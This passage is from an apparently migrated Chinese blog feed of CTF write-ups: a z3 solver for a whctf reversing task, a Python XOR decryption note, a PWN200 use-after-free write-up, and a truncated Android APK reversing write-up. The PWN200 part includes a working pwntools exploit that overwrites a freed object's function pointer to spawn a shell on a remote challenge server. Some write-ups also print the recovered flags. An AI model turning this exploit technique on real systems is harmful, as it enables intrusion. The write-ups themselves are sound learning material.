<link href="http://yoursite.com/2017/11/28/%E4%BD%BF%E7%94%A8z3%E7%BA%A6%E6%9D%9F%E5%99%A8%E8%A7%A3%E5%86%B3CTF%E4%B8%AD%E7%9A%84%E9%A2%98%E7%9B%AE/"/>
<id>http://yoursite.com/2017/11/28/使用z3约束器解决CTF中的题目/</id>
<published>2017-11-28T02:53:22.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/78651075" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/78651075</a> </p><p> Z3是什么?Z3由微软开发的一套约束求解器,你可以简单的理解它是解方程的神器。在CTF题目中,我们经常遇到一些给定的条件,或是算法难以逆向、或是涉及到未知的数学技巧又或是爆破时间过长,而在我们学会使用z3后,一类问题便迎刃而解了。想了解更多关于z3知识的,这里有篇专栏:<a href="https://zhuanlan.zhihu.com/p/30548907" target="_blank" rel="noopener">点我</a></p><p> 一个简单的例子给大家介绍一下z3如何使用:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">>>> from z3 import *</span><br><span class="line">>>> x = Int('x')</span><br><span class="line">>>> y = Int('y')</span><br><span class="line">>>> solve(x+y==4)</span><br><span class="line">[y = 0, x = 4]</span><br></pre></td></tr></table></figure><p> 它为我们提供了一个关于x+y==4的解,可是如果我们想要x=3呢?</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">>>> solve(x==3,x+y==4)</span><br><span class="line">[y = 1, x = 3]</span><br></pre></td></tr></table></figure><p>当然了,z3能做的肯定不止这么简单的运算,例如:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">>>> from z3 import *</span><br><span class="line">>>> x = Real('x')</span><br><span class="line">>>> y = Real('y')</span><br><span class="line">>>> solve(x**2 + y**2 == 3, x**3 == 2)</span><br><span class="line">[x = 1.2599210498?, y = -1.1885280594?]</span><br></pre></td></tr></table></figure><p> OK,大概了解到它是干嘛的我们就开始看一道例题吧。二进制文件可以在<a href="https://github.com/UnnameBao/My_ctf_path/tree/master/blog/I_Hate_Math" target="_blank" rel="noopener">这里</a>下载。</p><p> 这是whctf的一道逆向题,它的核心代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">v1 = 0;</span><br><span class="line">gets(flag);</span><br><span class="line">for ( i = 0; i <= 35; ++i )</span><br><span class="line">{</span><br><span class="line"> if ( !flag[i] )</span><br><span class="line"> {</span><br><span class="line"> flag[i] = 1;</span><br><span class="line"> ++v1;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">if ( v1 != 9 )</span><br><span class="line"> exit(0);</span><br><span class="line">convert(a);</span><br><span class="line">Transposition(a);</span><br><span class="line">Multi(a, b);</span><br><span class="line">for ( j = 0; j <= 5; ++j )</span><br><span class="line">{</span><br><span class="line"> for ( k = 0; k <= 5; ++k )</span><br><span class="line"> {</span><br><span class="line"> if ( c[0][k + 6 * j] != d[0][k + 6 * j] )</span><br><span class="line"> exit(0);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">printf("congratulations!you have gottern the flag!");</span><br></pre></td></tr></table></figure><p> 其中convert(a)是将flag赋值给a,你可以把a当做一个6*6的矩阵。 Transposition(a)是把a的转置矩阵赋值给b</p><p> Multi(a,b)是把a和b的乘积赋值给c</p><p> 而d就是堆中正确的flag经过上述运算后的结果,也就是说,如果用简单的思路去做,就是想办法爆破27位的flag添加9位1到尾部,然后经过运算结果为d中的值。但未知位数已经达到了20个,常规的爆破思路很难解决,网上的一篇writeup是经过一系列数学运算后逐行爆破,但每行依旧要消耗近10分钟的时间。在实际比赛的过程中,时间始终是最宝贵的,况且如果你对线性代数不太理解,可能会有一些棘手。</p><p> 首先数学知识当然是必要的,我们应该保持着一个敬畏之心去学习这里的数学原理,但为了节省时间,或许用约束器去做会有意想不到的效果。</p><p> 以下是我的脚本,注释的很详细就不多说了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2017-11-28 10:19:29</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">from z3 import *</span><br><span class="line">import time</span><br><span class="line">t1 = time.time()</span><br><span class="line">#创建一个解决方案实例</span><br><span class="line">solver = Solver()</span><br><span class="line">#flag长度先设置为36,包括尾部的9个1</span><br><span class="line">flag = [Int('flag%d'%i) for i in range(36)]</span><br><span class="line">#保存flag的矩阵</span><br><span class="line">a = [i for i in flag]</span><br><span class="line">#保存flag的转置矩阵</span><br><span class="line">b = [i for i in range(36)]</span><br><span class="line">#保存a*b的矩阵</span><br><span class="line">c = [0 for i in range(36)]</span><br><span class="line">#堆中正确flag的运算结果</span><br><span class="line">d = [0x12027,0x0F296,0x0BF0E,0x0D84C,0x91D8,0x297,</span><br><span class="line">0x0F296,0x0D830,0x0A326,0x0B010,0x7627,0x230,</span><br><span class="line">0x0BF0E,0x0A326,0x8FEB,0x879D,0x70C3,0x1BD,</span><br><span class="line">0x0D84C,0x0B010,0x879D,0x0B00D,0x6E4F,0x1F7,</span><br><span class="line">0x91D8,0x7627,0x70C3,0x6E4F,0x9BDC,0x15C,</span><br><span class="line">0x297,0x230,0x1BD,0x1F7,0x15C,0x6]</span><br><span class="line">#获得a的转置矩阵</span><br><span class="line">for i in range(6):</span><br><span class="line">for j in range(6):</span><br><span class="line">b[i+6*j] = a[6*i+j]</span><br><span class="line">#运算a*b</span><br><span class="line">for i in range(6):</span><br><span class="line">for j in range(6):</span><br><span class="line">for k in range(6):</span><br><span class="line">c[j+6*i] = c[j+6*i] + a[6*i+k]*b[6*k+j]</span><br><span class="line">#添加约束,正确flag的运算结果</span><br><span class="line">solver.add(simplify(c[j+6*i]) == d[j+6*i])</span><br><span class="line">#添加约束,除了尾部,flag的字符一定在可见字符范围内</span><br><span class="line">for i in range(6,36-10):</span><br><span class="line">solver.add(flag[i]>=32)</span><br><span class="line">solver.add(flag[i]<=127)</span><br><span class="line">#添加约束,由于flag有格式,前6位一定为whctf{</span><br><span class="line">for i in range(6):</span><br><span class="line">solver.add(flag[i] == ord('whctf{'[i]))</span><br><span class="line">#添加约束,flag的尾部为9个1</span><br><span class="line">for i in range(36-9,36):</span><br><span class="line">solver.add(flag[i] == 0x1)</span><br><span class="line">#添加约束,flag的最后一个肯定是}</span><br><span class="line">solver.add(flag[-10] == ord('}'))</span><br><span class="line">#这里一定要有,不check的话会报错</span><br><span class="line">if solver.check() == sat:</span><br><span class="line">m = solver.model()</span><br><span class="line">s = []</span><br><span class="line">#获得结果</span><br><span class="line">for i in range(36):</span><br><span class="line">s.append(m[flag[i]].as_long())</span><br><span class="line">#输出flag</span><br><span class="line">print(bytes(s))</span><br><span class="line">else:</span><br><span class="line">print('error')</span><br><span class="line">t2 = time.time()</span><br><span class="line">print(t2-t1)</span><br></pre></td></tr></table></figure><p>这是最终的运行结果: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">D:\2017_WEB_Test\ulb_manager\backend\spider>python z3test.py</span><br><span class="line">b'whctf{Y0u_ar3_g00d_a7_m4th}\x01\x01\x01\x01\x01\x01\x01\x01\x01'</span><br><span class="line">4.042840003967285</span><br></pre></td></tr></table></figure><p> 是的,仅仅用了4s就跑出了最终结果、可见z3约束器的强大! </p><p>更多信息请看z3的官方GitHub:<a href="https://github.com/Z3Prover/z3" target="_blank" rel="noopener">点我</a></p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>关于python3中整数数组转bytes的效率问题</title>
<link href="http://yoursite.com/2017/11/26/%E5%85%B3%E4%BA%8Epython3%E4%B8%AD%E6%95%B4%E6%95%B0%E6%95%B0%E7%BB%84%E8%BD%ACbytes%E7%9A%84%E6%95%88%E7%8E%87%E9%97%AE%E9%A2%98/"/>
<id>http://yoursite.com/2017/11/26/关于python3中整数数组转bytes的效率问题/</id>
<published>2017-11-26T06:10:06.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/78637048" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/78637048</a> </p><p> 昨天在做一道CTF题的时候碰到了一个图片异或的问题,操作大概如下:</p><p> 将一个图片读入,然后每字节进行异或操作,核心代码可简化为以下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2017-11-25 13:51:33</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">import six</span><br><span class="line">key = b'\xdcd~\xb6^g\x11\xe1U7R\x18!+9d\xdcd~\xb6^g\x11\xe1U7R\x18!+9d'</span><br><span class="line">with open('flag.encrypted','rb') as f:</span><br><span class="line">c = f.read()</span><br><span class="line">flag = b''</span><br><span class="line">for i in range(32):</span><br><span class="line">flag += six.int2byte(key[i%32]^c[i])</span><br><span class="line">with open('flag.png','wb') as f:</span><br><span class="line">f.write(flag)</span><br></pre></td></tr></table></figure><p> 然后就碰到了一个效率问题,跑了十几分钟都没有跑出结果,起初以为是类型转换的问题,因为比较急,于是换了成了C++的代码去解决,后来一直没多想。今天闲下来的时候才发现代码之前的代码中存在一个非常大的问题:内存申请问题。 </p><p> 由于flag.encrypted文件大小为6.47MB之大,由于我的脚本思路是不断在byte数组后添加,但忽略了其本质。就是在内存申请过程中,由于数组长度最终为600+W大小,期间存在多次数组内存不够,需要重新申请内存的问题,而python中的内存申请显然没有C++的vector的push_back有效率。而且python中,无论是list、string还是byte,也没有reserve这种函数,不能预留内存空间(这时候真的要吐槽一下python设计者对速度优化的考量了)。于是只能用另一种方法进行优化,就是先用list申请一个需求大小的内存空间,然后再转为bytes使用,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2017-11-26 14:09:29</span><br><span class="line">@Version: 2.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">key = b'\xdcd~\xb6^g\x11\xe1U7R\x18!+9d\xdcd~\xb6^g\x11\xe1U7R\x18!+9d'</span><br><span class="line">with open('flag.encrypted','rb') as f:</span><br><span class="line">c = f.read()</span><br><span class="line">flag = list('1'*len(c))</span><br><span class="line">for i in range(len(c)):</span><br><span class="line">flag[i] = key[i%32]^c[i]</span><br><span class="line">flag = bytes(flag)</span><br><span class="line">with open('flag.png','wb') as f:</span><br><span class="line">f.write(flag)</span><br></pre></td></tr></table></figure><p> 这样写的话几乎是瞬间完成任务了,但还是比C++慢很多,这是不可避免的。 </p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>第三届上海市大学生网络安全大赛 PWN200 WriteUp</title>
<link href="http://yoursite.com/2017/11/08/%E7%AC%AC%E4%B8%89%E5%B1%8A%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%20PWN200%20WriteUp/"/>
<id>http://yoursite.com/2017/11/08/第三届上海市大学生网络安全大赛 PWN200 WriteUp/</id>
<published>2017-11-08T02:51:50.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/78476125" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/78476125</a> </p><p> 这题利用了UAF漏洞,在pwnable.kr中有类似的题。简单介绍 一下什么事UAF,UAF就是use after free,就是在C++申请内存的机制中,如果上一次free掉的内存和新申请的内存大小相同,那么再次申请就会申请到刚才free掉的内存,于是例如本题中,结构体嵌套了函数,在再次申请到内存的时候,被覆盖掉原有的内存地址中,把shell的地址放到结构体调用的函数中,就会触发UAF漏洞,详情请看本题。将二进制文件拖进IDA中,反编译后可以看到通过new申请内存的v3、和v5,两个变量应该都是struct,如图所示:<img src="http://47.94.96.83/wp-content/uploads/2017/11/70KGOWE9BRMR3NCMRQSG7B.png" alt></p><p> 转结构体后可以看到明刚开始给V3.char0变量赋值为off_602D78,在内存中,此地址为:<img src="http://47.94.96.83/wp-content/uploads/2017/11/LOLT7NK85_5_KISCH4FF.png" alt></p><p> 其中sub_401450即为getshell的地址,sub401840为一个输出函数,即正常按1会触发的函数,这个地方调用函数的时候是从结构体内存中申请的,所以这里就是我们触发UAF的触发点。接下来我们看after的话会发生什么:<img src="http://47.94.96.83/wp-content/uploads/2017/11/[email protected]" alt><img src="http://47.94.96.83/wp-content/uploads/2017/11/O6PR1YQC967WLM4L5.png" alt></p><p> 大量没什么用的指令我就不展示了,关键是这两个地方,首先就是它提示你输入一个长度,代表你要申请内存地址的长度,这里要注意下我们要申请的长度不是30,而是0x30,也就是48。在free掉0x30长度的内存空间后,我们申请0x30的内存空间,就会覆盖掉原本结构体的内存地址,当我们再次调用打印信息的函数时,我们把该地址篡改为shell的地址,那么我们就可以getshell了。这里展示一下调用打印信息函数的反编译代码:</p><p> <img src="http://47.94.96.83/wp-content/uploads/2017/11/9QPJ932SI19798QE919.png" alt></p><p> cha0是v3结构体起始的地址,而+8意味着之前初始化赋值的off_602D78+8,在覆盖掉以后,我们需要把调用时的地址篡改为off_602D78,也就是赋值,把结构体覆盖为off_602D78-8。思路很清晰了,下面是我的exp:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">p = remote('106.75.8.58','12333')</span><br><span class="line">p.recvuntil('1. use, 2. after, 3. free')</span><br><span class="line">p.sendline('3')</span><br><span class="line">p.recvuntil('1. use, 2. after, 3. free')</span><br><span class="line">p.sendline('2')</span><br><span class="line">p.recvuntil('Please input the length:')</span><br><span class="line">p.sendline('48')</span><br><span class="line">payload = p64(0x0000000000602D70)</span><br><span class="line">time.sleep(1)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvuntil('1. use, 2. after, 3. free')</span><br><span class="line">p.sendline('2')</span><br><span class="line">p.recvuntil('Please input the length:')</span><br><span class="line">p.sendline('48')</span><br><span class="line">time.sleep(1)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvuntil('1. use, 2. after, 3. free')</span><br><span class="line">time.sleep(1)</span><br><span class="line">p.sendline('1')</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p> 更多参考资料:1、<a href="http://blog.csdn.net/qq_29343201/article/details/51337025" target="_blank" rel="noopener">Pwntools使用</a>2、<a href="http://bobao.360.cn/news/detail/3429.html" target="_blank" rel="noopener">UAF漏洞介绍</a> </p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>flagstore.apk移动逆向writeup</title>
<link href="http://yoursite.com/2017/10/10/flagstore.apk%E7%A7%BB%E5%8A%A8%E9%80%86%E5%90%91writeup/"/>
<id>http://yoursite.com/2017/10/10/flagstore.apk移动逆向writeup/</id>
<published>2017-10-10T14:10:35.000Z</published>
<updated>2019-09-12T06:22:47.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/78198257" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/78198257</a> </p><p> 世安杯遇到的一道逆向题,感觉还挺有意思的,解决问题中遇到了很多问题(其实是装工具时碰到的问题),贴出来跟大家共享一下。</p><p> 题目可以在这个地址下载:</p><p> 链接:<a href="http://pan.baidu.com/s/1qYv7ALA" target="_blank" rel="noopener">http://pan.baidu.com/s/1qYv7ALA</a> 密码:rg7d </p><p> 首先用jadx-gui查看一下java代码,MainActivity中代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">package com.flagstore.ctf.flagstore;</span><br><span class="line"></span><br><span class="line">import android.app.Activity;</span><br><span class="line">import android.content.IntentFilter;</span><br><span class="line">import android.os.Bundle;</span><br><span class="line">import android.widget.TextView;</span><br><span class="line">import com.flagstore.ctf.flagstore.Manifest.permission;</span><br><span class="line"></span><br><span class="line">public class MainActivity extends Activity {</span><br><span class="line"> protected void onCreate(Bundle savedInstanceState) {</span><br><span class="line"> super.onCreate(savedInstanceState);</span><br><span class="line"> TextView tv = new TextView(getApplicationContext());</span><br><span class="line"> tv.setText("To-do: UI pending");</span><br><span class="line"> setContentView(tv);</span><br><span class="line"> IntentFilter filter = new IntentFilter();</span><br><span class="line"> filter.addAction("com.flagstore.ctf.INCOMING_INTENT");</span><br><span class="line"> registerReceiver(new Send_to_Activity(), filter, permission._MSG, null);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>它一开始就是把程序的界面弄成一个文本:”To-do: UI pending”,然后设置了一个Broadcast监听,关于Brocast机制,可以看这个文章:</p><p> <a href="http://www.cnblogs.com/playing/archive/2011/03/23/1992030.html" target="_blank" rel="noopener">http://www.cnblogs.com/playing/archive/2011/03/23/1992030.html</a> </p><p> 然后我们再看Send_to_Activity这个类:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">package com.flagstore.ctf.flagstore;</span><br><span class="line"></span><br><span class="line">import android.content.BroadcastReceiver;</span><br><span class="line">import android.content.Context;</span><br><span class="line">import android.content.Intent;</span><br><span class="line">import android.util.Log;</span><br><span class="line">import android.widget.Toast;</span><br><span class="line"></span><br><span class="line">public class Send_to_Activity extends BroadcastReceiver {</span><br><span class="line"> public void onReceive(Context context, Intent intent) {</span><br><span class="line"> if (intent.getStringExtra("msg").equalsIgnoreCase("OpenSesame")) {</span><br><span class="line"> Log.d("Here", "Intent");</span><br><span class="line"> context.startActivity(new Intent(context, CTFReceiver.class));</span><br><span class="line"> return;</span><br><span class="line"> }</span><br><span class="line"> Toast.makeText(context, "Ah, ah, ah, you didn't say the magic word!", 1).show();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 代码的意思很简单,就是如果受到msg为OpenSesame的话,就会激活CTFReceiver这个类: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">package com.flagstore.ctf.flagstore;</span><br><span class="line"></span><br><span class="line">import android.content.Intent;</span><br><span class="line">import android.os.Bundle;</span><br><span class="line">import android.support.v7.app.AppCompatActivity;</span><br><span class="line">import android.view.View;</span><br><span class="line">import android.view.View.OnClickListener;</span><br><span class="line">import android.widget.Button;</span><br><span class="line">import android.widget.TextView;</span><br><span class="line"></span><br><span class="line">public class CTFReceiver extends AppCompatActivity {</span><br><span class="line"></span><br><span class="line"> class C01581 implements OnClickListener {</span><br><span class="line"> C01581() {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public void onClick(View v) {</span><br><span class="line"> Intent intent = new Intent();</span><br><span class="line"> intent.setAction("com.flagstore.ctf.OUTGOING_INTENT");</span><br><span class="line"> String a = CTFReceiver.this.getResources().getString(C0159R.string.str3) + "fpcMpwfFurWGlWu`uDlUge";</span><br><span class="line"> String b = Utilities.doBoth(CTFReceiver.this.getResources().getString(C0159R.string.passphrase));</span><br><span class="line"> String name = getClass().getName().split("\\.")[4];</span><br><span class="line"> intent.putExtra("msg", CTFReceiver.this.getPhrase(a, b, Utilities.doBoth(name.substring(0, name.length() - 2))));</span><br><span class="line"> CTFReceiver.this.sendBroadcast(intent);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public native String getFlag(String str, String str2, String str3);</span><br><span class="line"></span><br><span class="line"> public native String getPhrase(String str, String str2, String str3);</span><br><span class="line"></span><br><span class="line"> protected void onCreate(Bundle savedInstanceState) {</span><br><span class="line"> super.onCreate(savedInstanceState);</span><br><span class="line"> new TextView(this).setText("Clever Person!");</span><br><span class="line"> Button button = new Button(this);</span><br><span class="line"> button.setText("Broadcast");</span><br><span class="line"> setContentView((View) button);</span><br><span class="line"> button.setOnClickListener(new C01581());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> static {</span><br><span class="line"> System.loadLibrary("native-lib");</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 逻辑大概就是一旦这个被激活,点击一下按钮,他就会发一个广播,于是我们的一个解决思路就是:打开APP后发送一个广播为“OpenSesame”,然后再监听接收。 </p><p> 然后用到一些工具:</p><p> <a href="https://github.com/mwrlabs/drozer" target="_blank" rel="noopener">drozer</a> </p><p> <a href="http://www.genymotion.net/" target="_blank" rel="noopener">Genymotion</a> </p><p> 两个工具安装过程中都遇到了一些问题,Genymotion在网上有很多安装教程,说两个值得一提的问题吧:</p><p> 1、因为Genymotion需要安装Vritualbox作为依赖,但是Vritualbox可能会提示你缺少headrs,但是你apt-get不到,网上的教程中没有几个提到的,直接搜这个问题也有很多让你apt-get的,但这其实是内核问题,你需要升级一下内核,再安装一下headers,具体操作如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-cache search linux-image|grep kali</span><br></pre></td></tr></table></figure><p> 然后就获得了一个内核列表,我这边结果如下: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">linux-headers-4.13.0-kali1-amd64 - Header files for Linux 4.13.0-kali1-amd64</span><br><span class="line">linux-image-4.13.0-kali1-amd64 - Linux 4.13 for 64-bit PCs</span><br><span class="line">linux-image-4.13.0-kali1-amd64-dbg - Debug symbols for linux-image-4.13.0-kali1-amd64</span><br><span class="line">linux-headers-4.13.0-kali1-686 - Header files for Linux 4.13.0-kali1-686</span><br><span class="line">linux-headers-4.13.0-kali1-686-pae - Header files for Linux 4.13.0-kali1-686-pae</span><br><span class="line">linux-image-4.13.0-kali1-686 - Linux 4.13 for older PCs</span><br><span class="line">linux-image-4.13.0-kali1-686-dbg - Debug symbols for linux-image-4.13.0-kali1-686</span><br><span class="line">linux-image-4.13.0-kali1-686-pae - Linux 4.13 for modern PCs</span><br><span class="line">linux-image-4.13.0-kali1-686-pae-dbg - Debug symbols for 